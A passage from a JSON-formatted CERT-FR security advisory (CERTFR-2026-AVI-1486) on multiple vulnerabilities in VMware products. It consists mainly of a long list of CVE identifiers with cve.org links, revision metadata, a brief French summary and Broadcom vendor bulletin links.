"name": "CVE-2025-66564",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66564"
},
{
"name": "CVE-2026-54518",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54518"
},
{
"name": "CVE-2026-84837",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84837"
},
{
"name": "CVE-2026-48588",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48588"
},
{
"name": "CVE-2025-5244",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5244"
},
{
"name": "CVE-2026-46598",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46598"
},
{
"name": "CVE-2026-6464",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6464"
},
{
"name": "CVE-2026-47244",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47244"
},
{
"name": "CVE-2026-86412",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86412"
},
{
"name": "CVE-2026-53434",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53434"
},
{
"name": "CVE-2025-48924",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48924"
},
{
"name": "CVE-2026-33810",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33810"
},
{
"name": "CVE-2025-15558",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15558"
},
{
"name": "CVE-2026-112945",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112945"
},
{
"name": "CVE-2026-54448",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54448"
},
{
"name": "CVE-2026-102633",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102633"
},
{
"name": "CVE-2025-32414",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32414"
},
{
"name": "CVE-2026-110879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-110879"
},
{
"name": "CVE-2026-8328",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8328"
},
{
"name": "CVE-2026-26308",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26308"
},
{
"name": "CVE-2026-41256",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41256"
},
{
"name": "CVE-2026-9538",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9538"
},
{
"name": "CVE-2026-6471",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6471"
},
{
"name": "CVE-2026-15806",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15806"
},
{
"name": "CVE-2025-12058",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12058"
},
{
"name": "CVE-2025-1153",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1153"
},
{
"name": "CVE-2026-53789",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53789"
},
{
"name": "CVE-2026-2003",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2003"
},
{
"name": "CVE-2025-15079",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15079"
},
{
"name": "CVE-2026-2673",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2673"
},
{
"name": "CVE-2026-57432",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57432"
},
{
"name": "CVE-2026-55991",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55991"
},
{
"name": "CVE-2025-1632",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1632"
},
{
"name": "CVE-2025-11412",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11412"
},
{
"name": "CVE-2026-105712",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-105712"
},
{
"name": "CVE-2026-53791",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53791"
},
{
"name": "CVE-2026-49834",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49834"
},
{
"name": "CVE-2026-32282",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32282"
},
{
"name": "CVE-2026-5958",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5958"
},
{
"name": "CVE-2026-33762",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33762"
},
{
"name": "CVE-2026-65915",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65915"
},
{
"name": "CVE-2026-3184",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3184"
},
{
"name": "CVE-2026-50151",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50151"
},
{
"name": "CVE-2026-63381",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63381"
},
{
"name": "CVE-2026-11972",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11972"
},
{
"name": "CVE-2026-55830",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55830"
},
{
"name": "CVE-2025-68121",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68121"
},
{
"name": "CVE-2024-40896",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-40896"
},
{
"name": "CVE-2025-2099",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2099"
},
{
"name": "CVE-2025-1194",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1194"
},
{
"name": "CVE-2025-6638",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6638"
},
{
"name": "CVE-2026-93572",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93572"
},
{
"name": "CVE-2026-97873",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97873"
},
{
"name": "CVE-2026-75973",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75973"
},
{
"name": "CVE-2026-111064",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111064"
},
{
"name": "CVE-2026-18477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18477"
},
{
"name": "CVE-2025-14819",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14819"
},
{
"name": "CVE-2025-24928",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-24928"
},
{
"name": "CVE-2026-14679",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14679"
},
{
"name": "CVE-2025-11065",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11065"
},
{
"name": "CVE-2026-107708",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107708"
},
{
"name": "CVE-2026-70461",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70461"
},
{
"name": "CVE-2026-95838",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95838"
},
{
"name": "CVE-2026-46597",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46597"
},
{
"name": "CVE-2026-73073",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73073"
},
{
"name": "CVE-2026-12259",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12259"
},
{
"name": "CVE-2026-112401",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112401"
},
{
"name": "CVE-2026-4786",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4786"
},
{
"name": "CVE-2026-1484",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1484"
},
{
"name": "CVE-2025-4947",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4947"
},
{
"name": "CVE-2026-48775",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48775"
},
{
"name": "CVE-2026-72522",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-72522"
},
{
"name": "CVE-2026-27141",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27141"
},
{
"name": "CVE-2025-61726",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61726"
},
{
"name": "CVE-2026-59902",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59902"
},
{
"name": "CVE-2025-1094",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1094"
},
{
"name": "CVE-2026-112391",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112391"
},
{
"name": "CVE-2026-5704",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5704"
},
{
"name": "CVE-2026-89407",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89407"
},
{
"name": "CVE-2026-34182",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34182"
},
{
"name": "CVE-2026-49835",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49835"
},
{
"name": "CVE-2026-18503",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18503"
},
{
"name": "CVE-2026-10879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10879"
},
{
"name": "CVE-2026-86138",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86138"
},
{
"name": "CVE-2026-4372",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4372"
},
{
"name": "CVE-2026-47691",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47691"
},
{
"name": "CVE-2022-24975",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24975"
},
{
"name": "CVE-2025-21614",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-21614"
},
{
"name": "CVE-2026-6019",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6019"
},
{
"name": "CVE-2026-11816",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11816"
},
{
"name": "CVE-2025-3198",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3198"
},
{
"name": "CVE-2026-78662",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78662"
},
{
"name": "CVE-2026-76816",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76816"
},
{
"name": "CVE-2026-87697",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87697"
},
{
"name": "CVE-2026-96641",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96641"
},
{
"name": "CVE-2026-19542",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19542"
},
{
"name": "CVE-2025-54388",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-54388"
},
{
"name": "CVE-2026-59847",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59847"
},
{
"name": "CVE-2026-9149",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9149"
},
{
"name": "CVE-2026-86140",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86140"
},
{
"name": "CVE-2025-59419",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-59419"
},
{
"name": "CVE-2026-74860",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-74860"
},
{
"name": "CVE-2025-49796",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-49796"
},
{
"name": "CVE-2025-8058",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8058"
},
{
"name": "CVE-2026-40930",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40930"
},
{
"name": "CVE-2026-87866",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87866"
},
{
"name": "CVE-2025-11839",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11839"
},
{
"name": "CVE-2026-63388",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63388"
},
{
"name": "CVE-2026-1489",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1489"
},
{
"name": "CVE-2026-9547",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9547"
},
{
"name": "CVE-2026-81642",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81642"
},
{
"name": "CVE-2026-41007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41007"
},
{
"name": "CVE-2026-19666",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19666"
},
{
"name": "CVE-2026-81722",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81722"
},
{
"name": "CVE-2026-19032",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19032"
},
{
"name": "CVE-2026-53404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53404"
},
{
"name": "CVE-2026-33816",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33816"
},
{
"name": "CVE-2026-82560",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82560"
},
{
"name": "CVE-2026-56132",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56132"
},
{
"name": "CVE-2026-12372",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12372"
},
{
"name": "CVE-2026-2004",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2004"
},
{
"name": "CVE-2026-0672",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0672"
},
{
"name": "CVE-2026-49839",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49839"
},
{
"name": "CVE-2026-93446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93446"
},
{
"name": "CVE-2026-96229",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96229"
},
{
"name": "CVE-2026-47770",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47770"
},
{
"name": "CVE-2026-41246",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41246"
},
{
"name": "CVE-2026-33481",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33481"
},
{
"name": "CVE-2026-54874",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54874"
},
{
"name": "CVE-2026-67213",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-67213"
},
{
"name": "CVE-2026-71557",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71557"
},
{
"name": "CVE-2026-55833",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55833"
},
{
"name": "CVE-2025-30204",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-30204"
},
{
"name": "CVE-2026-18938",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18938"
},
{
"name": "CVE-2018-6952",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-6952"
},
{
"name": "CVE-2026-114690",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114690"
},
{
"name": "CVE-2026-24137",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24137"
},
{
"name": "CVE-2025-5914",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5914"
},
{
"name": "CVE-2026-116591",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-116591"
},
{
"name": "CVE-2017-8806",
"url": "https://www.cve.org/CVERecord?id=CVE-2017-8806"
},
{
"name": "CVE-2026-59198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59198"
},
{
"name": "CVE-2026-111749",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111749"
},
{
"name": "CVE-2026-56851",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56851"
},
{
"name": "CVE-2026-40228",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40228"
},
{
"name": "CVE-2026-85731",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85731"
},
{
"name": "CVE-2023-31486",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-31486"
},
{
"name": "CVE-2026-34477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34477"
},
{
"name": "CVE-2026-65902",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65902"
},
{
"name": "CVE-2026-56819",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56819"
},
{
"name": "CVE-2026-106451",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-106451"
},
{
"name": "CVE-2025-1151",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1151"
},
{
"name": "CVE-2024-24786",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-24786"
},
{
"name": "CVE-2026-7210",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7210"
},
{
"name": "CVE-2026-33231",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33231"
},
{
"name": "CVE-2026-52863",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-52863"
},
{
"name": "CVE-2026-70197",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70197"
},
{
"name": "CVE-2026-7168",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7168"
},
{
"name": "CVE-2026-40691",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40691"
},
{
"name": "CVE-2026-14664",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14664"
},
{
"name": "CVE-2026-9856",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9856"
},
{
"name": "CVE-2019-20633",
"url": "https://www.cve.org/CVERecord?id=CVE-2019-20633"
},
{
"name": "CVE-2026-103242",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-103242"
},
{
"name": "CVE-2026-76957",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76957"
},
{
"name": "CVE-2026-42012",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42012"
},
{
"name": "CVE-2024-39689",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-39689"
},
{
"name": "CVE-2025-1148",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1148"
},
{
"name": "CVE-2026-77406",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77406"
},
{
"name": "CVE-2026-94440",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94440"
},
{
"name": "CVE-2026-61711",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61711"
},
{
"name": "CVE-2026-54371",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54371"
},
{
"name": "CVE-2026-68494",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68494"
},
{
"name": "CVE-2025-6921",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6921"
},
{
"name": "CVE-2024-29903",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-29903"
},
{
"name": "CVE-2023-5752",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-5752"
},
{
"name": "CVE-2026-96224",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96224"
},
{
"name": "CVE-2025-66862",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66862"
},
{
"name": "CVE-2026-14670",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14670"
},
{
"name": "CVE-2026-39827",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39827"
},
{
"name": "CVE-2026-77405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77405"
},
{
"name": "CVE-2026-24122",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24122"
},
{
"name": "CVE-2026-32776",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32776"
},
{
"name": "CVE-2026-4046",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4046"
},
{
"name": "CVE-2026-56444",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56444"
},
{
"name": "CVE-2026-15028",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15028"
},
{
"name": "CVE-2026-9150",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9150"
},
{
"name": "CVE-2026-93560",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93560"
},
{
"name": "CVE-2026-112405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112405"
},
{
"name": "CVE-2026-79677",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-79677"
},
{
"name": "CVE-2026-56289",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56289"
},
{
"name": "CVE-2026-59845",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59845"
},
{
"name": "CVE-2026-46385",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46385"
},
{
"name": "CVE-2026-22772",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22772"
},
{
"name": "CVE-2026-111497",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111497"
},
{
"name": "CVE-2026-56852",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56852"
},
{
"name": "CVE-2026-42784",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42784"
},
{
"name": "CVE-2025-67221",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-67221"
},
{
"name": "CVE-2026-73581",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73581"
},
{
"name": "CVE-2026-15830",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15830"
},
{
"name": "CVE-2025-0167",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-0167"
},
{
"name": "CVE-2026-16517",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16517"
},
{
"name": "CVE-2026-85977",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85977"
},
{
"name": "CVE-2026-59843",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59843"
},
{
"name": "CVE-2026-33230",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33230"
},
{
"name": "CVE-2026-59899",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59899"
},
{
"name": "CVE-2026-47775",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47775"
},
{
"name": "CVE-2025-69420",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69420"
},
{
"name": "CVE-2026-92390",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92390"
},
{
"name": "CVE-2026-34481",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34481"
},
{
"name": "CVE-2025-22227",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22227"
},
{
"name": "CVE-2025-47273",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47273"
},
{
"name": "CVE-2025-15224",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15224"
},
{
"name": "CVE-2026-59204",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59204"
},
{
"name": "CVE-2026-35501",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35501"
},
{
"name": "CVE-2026-111066",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111066"
},
{
"name": "CVE-2026-86143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86143"
},
{
"name": "CVE-2026-8286",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8286"
},
{
"name": "CVE-2026-93567",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93567"
},
{
"name": "CVE-2026-85091",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85091"
},
{
"name": "CVE-2026-116590",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-116590"
},
{
"name": "CVE-2026-39823",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39823"
},
{
"name": "CVE-2026-86409",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86409"
},
{
"name": "CVE-2026-1462",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1462"
},
{
"name": "CVE-2026-46680",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46680"
},
{
"name": "CVE-2026-22703",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22703"
},
{
"name": "CVE-2026-0989",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0989"
},
{
"name": "CVE-2026-31790",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31790"
},
{
"name": "CVE-2026-18024",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18024"
},
{
"name": "CVE-2025-61729",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61729"
},
{
"name": "CVE-2026-83557",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-83557"
},
{
"name": "CVE-2026-15059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15059"
},
{
"name": "CVE-2025-11494",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11494"
},
{
"name": "CVE-2024-6345",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-6345"
},
{
"name": "CVE-2025-3777",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3777"
},
{
"name": "CVE-2026-63072",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63072"
},
{
"name": "CVE-2026-79657",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-79657"
},
{
"name": "CVE-2025-14831",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14831"
},
{
"name": "CVE-2026-5545",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5545"
},
{
"name": "CVE-2026-77310",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77310"
},
{
"name": "CVE-2026-95209",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95209"
},
{
"name": "CVE-2026-81634",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81634"
},
{
"name": "CVE-2026-53492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53492"
},
{
"name": "CVE-2026-65898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
},
{
"name": "CVE-2026-50149",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50149"
},
{
"name": "CVE-2026-112891",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112891"
},
{
"name": "CVE-2026-86000",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86000"
},
{
"name": "CVE-2026-43895",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43895"
},
{
"name": "CVE-2026-7017",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7017"
},
{
"name": "CVE-2024-10979",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-10979"
},
{
"name": "CVE-2026-84782",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84782"
},
{
"name": "CVE-2025-3576",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3576"
},
{
"name": "CVE-2026-15307",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15307"
},
{
"name": "CVE-2026-5241",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5241"
},
{
"name": "CVE-2026-73281",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73281"
},
{
"name": "CVE-2026-0846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0846"
},
{
"name": "CVE-2026-87022",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87022"
},
{
"name": "CVE-2026-59889",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59889"
},
{
"name": "CVE-2026-3784",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3784"
},
{
"name": "CVE-2025-1147",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1147"
},
{
"name": "CVE-2026-56864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56864"
}
],
"initial_release_date": "2026-11-09T00:00:00",
"last_revision_date": "2026-11-09T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-1486",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-11-09T00:00:00.000000"
}
],
"risks": [
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits VMware. Elles permettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits VMware",
"vendor_advisories": [
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39550",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39550"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39545",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39545"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39539",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39539"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39534",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39534"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39548",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39548"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39536",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39536"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39544",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39544"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39549",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39549"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39522",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39522"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39530",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39530"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39537",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39537"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39533",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39533"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39526"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39518",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39518"
},
{
"published_at": "2026-11-06",
